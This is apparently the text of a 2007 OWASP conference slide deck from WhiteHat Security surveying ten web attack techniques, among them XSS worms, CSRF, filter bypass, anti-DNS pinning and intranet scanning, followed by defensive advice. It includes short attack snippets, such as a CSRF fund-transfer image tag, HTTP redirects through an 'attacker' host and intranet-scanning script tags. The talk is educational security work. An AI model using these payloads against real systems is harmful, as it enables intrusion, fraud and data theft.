Top 10 Web Attacks

OWASP Boulder
09.20.2007

Jeremiah Grossman (Founder and CTO)
Jeremiah Grossman

- founder and CTO of WhiteHat Security
- R&D and industry evangelism
- International conference speaker
- Co-Author of XSS Attacks
- Web Application Security Consortium Co-founder
- Former Yahoo! information security officer
Focus on “custom web applications”

WhiteHat Security

“well-known” vulnerabilities
Symantec
Qualys
Nessus
nCircle

Vulnerability Stack

Custom Web Applications
Business Logic Flaws
Technical Vulnerabilities

Third-Party Web Applications
Open Source / Commercial

Web Server
Apache / Microsoft IIS

Database
Oracle / MySQL / DB2

Applications
Open Source / Commercial

Operating System
Windows / Linux / OS X

Network
Routers / Firewalls

© 2007 WhiteHat Security, Inc.
Target #1: Layer 7

135 million websites

Many are mission-critical and gateways to highly sensitive customer and corporate information

These websites are accessible by over 1 billion people
Everyone is a Target

Hacked

© 2007 WhiteHat Security, Inc.
Consequences of an insecure Website

Loss of business

Damage to customer confidence and brand

Regulatory fines

Legal liability

Financial costs of handling an incident
Unlimited Assessments – customer controlled and expert managed - the ability to scan websites no matter how big or how often they change.

Coverage – authenticated scans to identify technical vulnerabilities and custom testing to uncover business logical flaws.

Virtually Eliminate False Positives – Operations Team verifies results and assigns the appropriate severity and threat rating.

Development and QA – WhiteHat Satellite Appliance allows us to service intranet accessible systems remotely.

Improvement & Refinement – real-world scans enable fast and efficient updates.
5 Stages of Website Security Grief

**Denial**
"We have firewalls, IDS, and SSL. We are Secure."

**Anger**
"How the heck did this get so bad?!?!?!"

**Bargaining**
"We can solve this with frameworks, developer education and some scanners."

**Depression**
"We have so many websites and the code is changing all the time. Maybe if I leave now no one will notice."

**Acceptance**
"I guess my job just got a lot more interesting."
Attacks always get better, never worse.

Over 70 notable “hacks” discovered in 2006 and even more in 2007
Using the term "hacks" loosely to describe the new creative, useful, and interesting techniques/discoveries/compromises during the last year.

- **Cross-Site Scripting (XSS)** - Malicious content unknowingly served by a trusted website to an unsuspecting user.
- **Cross-Site Request Forgery (CSRF)** - When an attacker forces a victim user to send a web request to a website that they didn’t intend. (wire transfer, blog post, etc.)
- **JavaScript Malware** - Payload of an XSS or CSRF attack, typically written in JavaScript, and executed in a browser.

Full List
© 2007 WhiteHat Security, Inc.
State of the Web

Likelihood that a website has a vulnerability, by Class

- Cross-Site Scripting: 73%
- Information Leakage: 53%
- Content Spoofing: 24%
- Predictable Resource Location: 21%
- SQL Injection: 18%
- Insufficient Authentication: 16%
- Insufficient Authorization: 15%
- Abuse of Functionality: 12%
- Directory Indexing: 5%
- HTTP Response Splitting: 4%
A cross-site request forgery (CSRF or XSRF), although similar-sounding in name to cross-site scripting (XSS), is a very different and almost opposite form of attack. Whereas cross-site scripting exploits the trust a user has in a website, a cross-site request forgery exploits the trust a website has in a user by forging the enactor and making a request appear to come from a trusted user.

Wikipedia

http://en.wikipedia.org/wiki/Cross-site_request_forgery

No statistics, but the general consensus is just about every piece of sensitive website functionality is vulnerable.
Hacking the Intranet

JavaScript Malware

Gets behind the firewall to attack the intranet.

Operating system and browser independent.
Getting hacked by JavaScript Malware

Website owner embedded JavaScript malware.

Web page defaced with embedded JavaScript malware.

JavaScript Malware injected into a public area of a website. (persistent XSS)

Clicked on a specially-crafted link causing the website to echo JavaScript Malware. (non-persistent XSS)
10) Hacking RSS Feeds

**JavaScript Malware inside of RSS/ATOM Feeds**

JavaScript Malware originates several degrees away from the last hop

Websites do not need to be vulnerable to XSS

Certain desktop readers open to local-zone execution with access to the filesystem

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<rss version="2.0"><channel>
<title>Malicious Channel</title>
...</channel></rss>
```

Hacking RSS and Atom Feed Implementations
9) Web Worms

MySpace, Adultspace, YahooMail, Gaia Online, Ultimate Dominion, etc.

Targets mostly social networking websites because they’re an easy way to isolate large quantities (millions) of users.

Propagation
Attacker infects their user profile with JavaScript Malware via HTML/Flash/Quicktime.

Unsuspecting users are infected forcing them to “friend” the attacker and update their profile with the JavaScript Malware.

Infection rate exponentially increases with the build up of infected users.

Payload has been relatively benign so far, but expect this to change as more "experimentation" appears in the wild.

Looking out for other outbreaks using HTML-enabled Chatrooms, message boards, and blogs.
Worms

MySpace (Samy Worm) - first XSS worm

24 hours, 1 million users affected

Logged-in user views samys profile page, embedded JavaScript malware.

Malware adds samy as their friend, updates their profile with “samy is my hero”, and copies the malware to their profile.

People visiting infected profiles are in turn infected causing exponential growth.

http://namb.la/popular/tech.html/CROSS-SITE SCRIPTING WORMS AND VIRUSES

“The Impending Threat and the Best Defense”
CSRF hack examples

A story that diggs itself
Users logged-in to digg.com visiting http://4diggers.blogspot.com/ will automatically digg the story

Compromising your GMail contact list

Contact list available in JavaScript space.

<script src=http://mail.google.com/mail/?_url_scrubbed>

or

<img src=http://webbank/transfer_funds?from=user&to=attacker>

CSRF, the sleeping giant

© 2007 WhiteHat Security, Inc.
8) Encoding Filter Bypass

**Not all XSS attacks “look” alike (UTF-7, Variable Width, US-ASCII)**

```html
<script>alert(1)</script>
```

Different web browsers will treat content differently depending on the content-type declaration (or lack thereof) in the server headers, meta tags.

**HTML Output Content-Type Declaration**

```
&lt;META HTTP-EQUIV="Content-Type" content="text/html; charset=UTF-7" /&gt;
&lt;META HTTP-EQUIV="Content-Type" content="text/html; charset=US-ASCII" /&gt;
```

Selecting Encoding Methods For XSS Filter Evasion
http://ha.ckers.org/blog/20061103/selecting-encoding-methods-for-xss-filter-evasion/

© 2007 WhiteHat Security, Inc.
7) Exponential XSS

XSS attacks don’t need to be limited to one website

An XSS’ed user can be auto-XSS anywhere

Impact
Maliciousness of XSS increased “exponentially”
Multi-vector “intelligent” attacks
Multi-site Web Worms

Exponential XSS Attacks
http://ha.ckers.org/blog/20061211/exponential-xss-attacks/

© 2007 WhiteHat Security, Inc.
6) Forging request headers with Flash

Any security solution depending on referer checking can be defeated. Specifically impacting CSRF and the “apache” expect header vulnerability.

GET / HTTP/1.1
Host: www.webappsec.org
User-Agent: Mozilla/5.0
Accept-Language: en-us,en;q=0.5
Referer: http://socialnetwork/
Cache-Control: max-age=0

GET / HTTP/1.1
Host: www.webappsec.org
User-Agent: Mozilla/5.0
Accept-Language: en-us,en;q=0.5
Referer: http://webbank/
Cache-Control: max-age=0

Forging HTTP request headers with Flash
© 2007 WhiteHat Security, Inc.
5) Backdooring Media Files

JavaScript Malware inside of EVERYTHING

Impact
JavaScript Malware hidden inside of alternate filetypes, as opposed to HTML.

Unexpected XSS/CSRF attack vector that’s typically invisible to standard input/output filters.

JavaScript Malware embedded in everything
© 2007 WhiteHat Security, Inc.
4) Browser History Stealing

**CSS History Hack**
Cycles through thousands of URLs and checks for link color.

**WebSite Login Checker**
Different JavaScript error messages are returned depending on the login/logout status of the user.

```
<script src="http://mail.google.com/mail/">
```

JavaScript WebSite Login Checker: http://ha.ckers.org/weird/javascript-website-login-checker.html]
3) Anti-DNS Pinning

“DNS Pinning” is a browser security mechanism preventing secondary DNS lookups by hostile web servers attempting to read data from other domains.

Why DNS Pinning? Let’s try to access web bank (111.111.111.111)

1) User visits “attacker” website (222.222.222.222) with a DNS timeout of 1 second.
2) Browser receives JavaScript reconnecting to attacker in two seconds. (attacker is down!)
3) Browser re-connects to the DNS server for attacker’s new IP address. (111.111.111.111)
4) Browser connects to 111.111.111.111 thinking that its attacker.

Not entirely useful because of an invalid host header sent to webbank, cookie won’t be sent either, even if the browser allowed step #3. However...

1) User visits “attacker” website (222.222.222.222) with a DNS timeout of 1 second.
2) Browser receives JavaScript reconnecting to attacker in two seconds. (attacker firewalls itself!)
3) DNS Pinning is dropped.
4) Browser re-connects to the DNS server for attacker’s new IP address. (192.168.1.1)
5) Browser connects to 192.168.1.1, from its perspective, thinking that its attacker.
6) Attack can now force read access to places where they couldn’t get to directly.
2) IE 7 "mhtml::" Redirection Disclosure

Read access over any domain. CSRF “nonce” solutions are defeated.

>` attacker 80
GET /ie_redir_test_1/1234 HTTP/1.0

HTTP/1.1 302 Found
Server: Apache
Location: mhtml:http://attacker/ie_redir_test_2
Content-Type: text/html

>` attacker 80
GET /ie_redir_test_2 HTTP/1.0

HTTP/1.1 302 Found
Server: Apache
Location: http://webank/
Content-Type: text/html

>` webbank 80
GET / HTTP/1.0
Cookie: 101100100010010101101

Browser is redirected to the web bank (with credentials) and returned as a cachable mhtml file “appearing” to be located on attacker.

Secunia Advisory
http://secunia.com/advisories/22477/

Less critical?
Assumptions of Intranet Security

Doing any of the following on the internet would be unacceptable, but on intranet...

- Leaving hosts unpatched
- Using default passwords
- Not putting a firewall in front of a host

Is OK because the perimeter firewalls block external access to internal devices.

WRONG!
Everything is web-enabled

Routers, firewalls, printers, payroll systems, employee directories, bug tracking systems, development machines, web mail, wikis, IP phones, web cams, host management, etc etc.
1) Intranet Hacking

Attacks can penetrate the intranet by controlling/hijacking a user’s browser and using JavaScript Malware, which is on the inside of the network.
Compromise NAT'ed IP Address with Java

Send internal IP address where JavaScript can access it

```html
<APPLET CODE="MyAddress.class">
<PARAM NAME="URL" VALUE="demo.html?IP=">
</APPLET>
```

```javascript
function natIP() {
    var w = window.location;
    var host = w.host;
    var port = w.port || 80;
    var Socket = (new java.net.Socket(host, port)).getLocalAddress().getHostAddress();
    return Socket;
}
```

Or guess! Since most everyone is on 192.168.1/0 or 10.0.1/0 it's not a big deal if Java is disabled.
JavaScript can scan for Web Servers

Attacker can force a user’s browser to send HTTP requests to anywhere, including the intranet.

<SCRIPT SRC="http://192.168.1.1/"></SCRIPT>
<SCRIPT SRC="http://192.168.1.2/"></SCRIPT>
<SCRIPT SRC="http://192.168.1.3/"></SCRIPT>
...
<SCRIPT SRC="http://192.168.1.255/"></SCRIPT>

If a web server is listening, HTML will be returned causing the JS interpreter to error.

If there is an error, a web server exists.
More Dirty Tricks

- Black hat search engine optimization (SEO)
- Click-fraud
- Distributed Denial of Service
- Force access of illegal content
- Hack other websites (IDS sirens)
- Distributed email spam (Outlook Web Access)
- Distributed blog spam
- Vote tampering
- De-Anonymize people
- Etc.

Once the browser closes there is little trace of the exploit code.
How to protect yourself

Or at least try
Enterprise Security 2007

Good for some threats, not for JavaScript malware.

- Patching and anti-virus
- Corporate Web Surfing Filters
- Security Sockets Layer (SSL)
- Two Factor Authentication
- Stay away from questionable websites

Web 2.0 needs Security 2.0...
Web Browser Security

1. Be suspicious of long links, especially those that look like they contain HTML code. When in doubt, type the domain name manually into your browser location bar.

2. No web browser has a clear security advantage, we prefer Firefox. For additional security, install browser add-ons such as NoScript (Firefox extension), SafeHistory, and/or the Netcraft Toolbar.

3. When in doubt, disable JavaScript, Java, Flash, and Active X prior to visiting questionable websites.

4. VMWare Web surfing for the paranoid. If anything bad should happen, the local machine and data remains safe.

It's clear we need more, but it's all we have.
Fixing XSS and CSRF

Preventing websites from hosting JavaScript Malware

› rock solid Input Validation. This includes URLs, query strings, headers, post data, etc.

› Fanatical output HTML encoding. Scrub any data that is uncontrolled.

FILTER HTML

```perl
$data =~ s/(<|>|"|'|\(|\)|:)/'\&#'.ord($1).';'/sge;
```
or
```perl
$data =~ s/([^\w])/\&# .ord($1).';'/sge;
```

› Protect sensitive functionality from CSRF attack. Implement session tokens, CAPTCHAs and HTTP Referer checking.
Best Practices

Asset Tracking – Find your websites, assign a responsible party, and rate their importance to the business. Because you can’t secure what you don’t know you own.

Measure Security – Perform rigorous and on-going vulnerability assessments, preferably every week. Because you can’t secure what you can’t measure.

Development Frameworks – Provide programmers with software development tools enabling them to write code rapidly that also happens to be secure. Because, you can’t mandate secure code, only help it.

Defense-in-Depth – Throw up as many roadblocks to attackers as possible. This includes custom error messages, Web application firewalls, security with obscurity, and so on. Because 8 in 10 websites are already insecure, no need to make it any easier.
Thank you

For more information visit:
http://www.whitehatsec.com/

Jeremiah Grossman (Founder and CTO)
Blog: http://jeremiahgrossman.blogspot.com/
Email: jeremiah@whitehatsec.com